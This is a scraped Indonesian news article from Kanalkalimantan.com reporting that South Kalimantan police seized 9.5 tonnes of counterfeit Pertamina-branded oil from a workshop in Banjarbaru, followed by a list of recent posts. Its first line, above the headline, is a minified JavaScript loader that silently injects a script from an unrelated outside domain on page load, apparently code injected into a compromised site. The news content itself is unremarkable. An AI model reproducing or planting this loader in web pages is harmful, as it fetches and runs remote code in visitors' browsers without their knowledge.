(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ungkap Penjualan Oli Palsu Pertamina Bengkel di Banjarbaru, Polda Kalsel Sita 9,5 Ton Oli Curah


KANALKALIMANTAN.COM, BANJARMASIN – Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Kepolisian Daerah (Polda) Kalimantan Selatan mengungkap kasus peredaran oli palsu di salah satu bengkel Jalan Trikora Kota Banjarbaru.

Barang bukti oli palsu sebanyak 9,5 ton berhasil diamanakan. Terdiri dari 18 drum merk Pertamina berisi 3,6 ton oli palsu, dan beberapa merk lainnya.

Ditreskrimsus Polda Kalsel menyita barang bukti 85 drum kosong merk Pertamina, tutup kemasan merk Pertamina palsu, dan beberapa drum merk oli ternama lain.

Kasubdit I Indagsi Ditreskrimsus Polda Kalsel, AKBP Amin Rovi dalam keterangan pers menjelaskan, pengungkapan berawal pada 9 Juli 2024, Anggota Unit 1 Subdit 1 Idagsi Ditreskrimsus Polda Kalsel berpura-pura membeli 1 drum isi 2.000 liter oli merk Pertamina dengan harga Rp4 juta di bengkel yang terletak di Jalan Trikora, Kota Banjarbaru.

Baca juga: Babah Divonis 2,5 Tahun Penjara, Cuci Uang Narkoba Jaringan Fredy Pratama

Setelah dilakukan pengecekan terhadap oli tersebut, didapati oli tidak sesuai standar yang diproduksi oleh Pertamina.

Kondisi dapat dilihat dari segel penutup drum oli yang terdapat logo dan tulisan Pertamina, namun tutup tersebut ternyata dipalsukan.

Dari segi harga, penjualan oli palsu tersebut juga di bawah harga resmi dari Pertamina.

“Anggota kemudian melakukan penggeledahan di lokasi, didapati drum kosong merk Pertamina berbagai jenis, kemudian oli curah, tutup segel Pertamina dan juga alat press,” ujarnya, Senin (15/7/2024).

Maish lanjut Kasubdit, petugas menangkap pelaku S (43), pemilik bengkel di kawasan Trikora.

Modus operandi dijelaskan bahwa pelaku S melakukan pembelian dari AS dengan harga Rp2,5 juta per drum yang berisi 200 liter oli.

Baca juga: Khawatir Disalahgunakan, Puluhan Batang Tanaman Kecubung di Banjarbaru Dimusnahkan

S meminta AS untuk membelikan tutup atau segel merk Pertamina dengan harga Rp75 ribu per satu set.

Kemudian apabila pelaku menerima orderan oli merk Pertamina dari konsumen, dia akan memasukkan oli curah ke dalam drum Pertamina.

Kemudian diberikan tutup segel Pertamina, seolah-olah oli yang dikeluarkan secara resmi oleh Pertamina.

“Dengan cara tersebut, pelaku menjual setiap drum oli yang sudah dipalsukan dengan harga Rp3,8 juta sampai dengan Rp4 juta kepada konsumen,” kata Kasubdit.

Perbuatan pelaku diancam dengan jeratan pasal 62 ayat (1) jo pasal 8 ayat (1) Huruf a Undang-Undang Nomor 8 Tahun 2009 tentang Perlindungan Konsumen. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.